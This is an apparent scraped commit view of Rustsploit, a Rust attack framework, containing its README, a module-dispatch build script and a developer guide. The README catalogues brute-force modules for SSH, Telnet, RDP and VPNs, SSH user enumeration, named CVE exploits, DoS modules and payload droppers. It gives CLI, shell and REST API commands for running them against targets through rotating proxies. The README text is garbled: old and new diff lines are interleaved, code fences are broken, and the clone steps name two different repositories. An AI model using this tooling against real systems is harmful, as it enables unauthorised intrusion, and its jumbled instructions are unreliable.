### 📦 Clone the Repository
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
```
git clone https://github.com/s-b-repo/r-routersploit.git
cd r-routersploit
Run `modules` or `find <keyword>` in the shell for the authoritative list.
---
## Quick Start
### Requirements
```
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
```
### 🛠️ Build the Project
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
```bash
### Clone + Build
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
### 🔧 Run in CLI Mode
### Run (Interactive Shell)
You can run specific modules via CLI using subcommands:
#### ▶ Exploit
```
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
```
#### 🧪 Scanner
```
cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
```
#### 🔐 Credentials
```
cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
```
### 🖥️ Run in Interactive Shell Mode
Launch the interactive RSF shell:
```
```
cargo run
```
Once inside the shell, you can explore and execute modules:
### Install (optional)
```shell
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> set target 192.168.1.1
rsf> run
```
cargo install --path .
```
---
## Docker Deployment
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
4. Toggle hardening mode and tune the IP limit if desired.
5. Generate:
- `docker/Dockerfile.api` (build + serve stages)
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
### Non-Interactive / CI Usage
All prompts have CLI equivalents:
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
This produces the Docker assets but skips the compose launch. To start the stack later:
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
---
## New Features & Improvements
### Framework-Level Enhancements
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
- **Advanced Target Normalization**: The framework now supports:
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
- Hostnames: `example.com`, `example.com:443`
- URLs: `http://example.com:8080` (extracts host:port)
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
All targets are validated for security (DoS prevention, path traversal protection, format validation).
### Module Improvements
- **Telnet Bruteforce**:
- Full Telnet IAC (Interpret As Command) negotiation support
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
- Verbose mode for quick checks showing all attempts and detailed statistics
- Improved buffer handling and memory management
- **RDP Bruteforce**:
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
- Command injection prevention in external tool calls
- **MQTT Bruteforce**:
- Full MQTT 3.1.1 protocol implementation
- Proper CONNECT packet construction with variable-length encoding
- CONNACK response parsing and error classification
- **SSH User Enumeration**:
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
- Statistical analysis with configurable samples and thresholds
- Distinguishes valid/invalid users based on authentication time differences
- **Directory Bruteforcer**:
- High-performance recursive directory scanning
- Custom wordlists with extension appending
- Smart status code filtering and size anomaly detection
- Interactive wizard for easy configuration
- **Sequential Fuzzer**:
- Targeted fuzzing for URLs, headers, and body parameters
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
- Custom charsets (SQL, Traversal, Command Injection)
- Iterative generation for exhaustive coverage
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
```text
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
help help | h | ? Show this screen
modules modules | ls | m List discovered modules
find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
Example session:
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
---
## CLI Usage
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
# Scanner
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Credentials
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
## API Server Mode
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
### Starting the API Server
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening enabled (auto-rotate API key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
# Custom port
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
```
### API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
### API Endpoints
All endpoints except `/health` require authentication via the `Authorization` header:
```
# Bearer token format
Authorization: Bearer your-api-key-here
# Or ApiKey format
Authorization: ApiKey your-api-key-here
```
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`GET /api/status`** - Get API server status and statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Input Validation & Security
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
- **Target Validation:** All targets are validated for length, control characters, and path traversal
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
- Automatic cleanup of expired blocks and entries older than 1 hour
#### Hardening Mode
When `--harden` is enabled:
- Tracks unique IP addresses accessing the API
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
- Automatic pruning when tracker exceeds 100,000 entries
#### Logging
All API activity is logged to:
- **Terminal:** Real-time console output with colored status messages
- **Log File:** `rustsploit_api.log` in the current working directory
Log entries include:
- API requests and responses
- Authentication failures and rate limiting events
- IP tracking and hardening actions
- Key rotation events
- Module execution results
- Resource cleanup operations
### Example API Workflow
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Check health
curl http://localhost:8080/health
# 3. List available modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Run a port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View tracked IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
---
## Proxy Workflow
Rustsploit treats proxy lists as first-class citizens:
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
---
## How Modules Are Discovered
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>;
```
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
- File: `src/modules/exploits/sample_exploit.rs`
- Shell path: `exploits/sample_exploit`
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
---
## Contributing
Contributions are welcome! High-level suggestions:
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
4. Document usage patterns in module comments
5. Run `cargo fmt` and `cargo check` before opening a PR
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
---
## Credits
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Wordlists:** Seclists + custom additions (`lists/` directory)
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

+213
View File
@@ -0,0 +1,213 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
// Generate dispatchers for each module category
let categories = vec![
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
];
for (root, out_file, mod_prefix, category_name) in categories {
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
std::process::exit(1);
}
}
}
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
let root_path = Path::new(root);
if !root_path.exists() {
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
}
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
)?;
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
)?;
}
}
writeln!(
file,
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
writeln!(file, " }}\n Ok(())\n}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
}
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
if !dir.is_dir() {
return Ok(());
}
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
for entry in entries {
let path = entry.path();
let file_name = entry.file_name();
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
}
}
}
}
Ok(())
}
File diff suppressed because it is too large Load Diff
+1
View File
@@ -0,0 +1 @@
+435
View File
@@ -0,0 +1,435 @@
# Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
---
## Table of Contents
1. [Project Overview](#project-overview)
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Security & Input Validation](#security--input-validation)
8. [Authoring Modules](#authoring-modules)
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
11. [Utilities & Helpers](#utilities--helpers)
12. [Testing & QA](#testing--qa)
13. [Roadmap & Ideas](#roadmap--ideas)
---
## Project Overview
Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
---
## Code Layout
```text
rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
├── src/
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
│ ├── api.rs # REST API server with auth, rate limiting, and security
│ ├── config.rs # Global configuration with target validation
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
│ │ ├── mod.rs
│ │ ├── exploit.rs
│ │ ├── exploit_gen.rs # build.rs output
│ │ ├── scanner.rs
│ │ ├── scanner_gen.rs # build.rs output
│ │ ├── creds.rs
│ │ └── creds_gen.rs # build.rs output
│ ├── modules/ # Fully auto-discovered attack modules
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
│ ├── rtsphead.txt
│ └── telnet-default/ # Default telnet credentials
└── README.md # Product overview
```
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
---
## Build Pipeline & Module Discovery
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
---
## Shell Architecture
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
---
## Proxy Subsystem
Implemented in `utils.rs` and surfaced in the shell.
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
Example:
```bash
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
```
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
---
## Security & Input Validation
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
### Input Validation Constants
Located across core modules, these constants enforce safe limits:
| File | Constant | Value | Purpose |
|------|----------|-------|---------|
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
### Security Patterns
When writing modules or core code, follow these patterns:
#### 1. Input Length Validation
```rust
if input.len() > MAX_INPUT_LENGTH {
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
}
```
#### 2. Control Character Rejection
```rust
if input.chars().any(|c| c.is_control()) {
return Err(anyhow!("Input cannot contain control characters"));
}
```
#### 3. Path Traversal Prevention
```rust
if input.contains("..") || input.contains("//") {
return Err(anyhow!("Path traversal detected"));
}
```
#### 4. Hostname/Target Validation
```rust
// Use the framework's normalize_target function for comprehensive validation
use crate::utils::normalize_target;
let normalized = normalize_target(raw_target)?;
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
```
For manual validation:
```rust
use regex::Regex;
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!("Invalid characters in target"));
}
```
#### 5. Overflow Protection
```rust
// Use saturating_add to prevent overflow
counter = counter.saturating_add(1);
```
#### 6. Prompt Attempt Limiting
```rust
const MAX_ATTEMPTS: u8 = 10;
let mut attempts = 0;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("Too many invalid attempts. Using default.");
return Ok(default);
}
// ... prompt logic
}
```
### API Security
The API server (`api.rs`) implements:
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
- **Rate Limiting:** 3 failed auth attempts = 30 second block
- **Auto-cleanup:** Old entries purged when limits exceeded
- **IP Tracking:** With automatic rotation when suspicious activity detected
### File Operations
When reading files, always:
1. Validate the path doesn't contain `..`
2. Use `canonicalize()` to resolve the real path
3. Check file size before reading
4. Skip symlinks for security
### Honeypot Detection
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
- Scans 200 common ports with 250ms timeout per port
- If 11+ ports are open, warns that the target is likely a honeypot
- Runs automatically in the shell's `run` and `run_all` commands
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
This helps operators identify potentially deceptive targets before spending time on them.
---
## Authoring Modules
Every module must export:
```rust
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
Ok(())
}
```
Guidelines:
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### skeleton
```rust
use anyhow::{Context, Result};
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking {}", target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("failed to reach {}", url))?
.text()
.await
.context("failed to fetch body")?;
if body.contains("vulnerable") {
println!("[+] {} appears vulnerable", target);
} else {
println!("[-] {} not vulnerable", target);
}
Ok(())
}
```
---
## Credential Modules: Best Practices
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
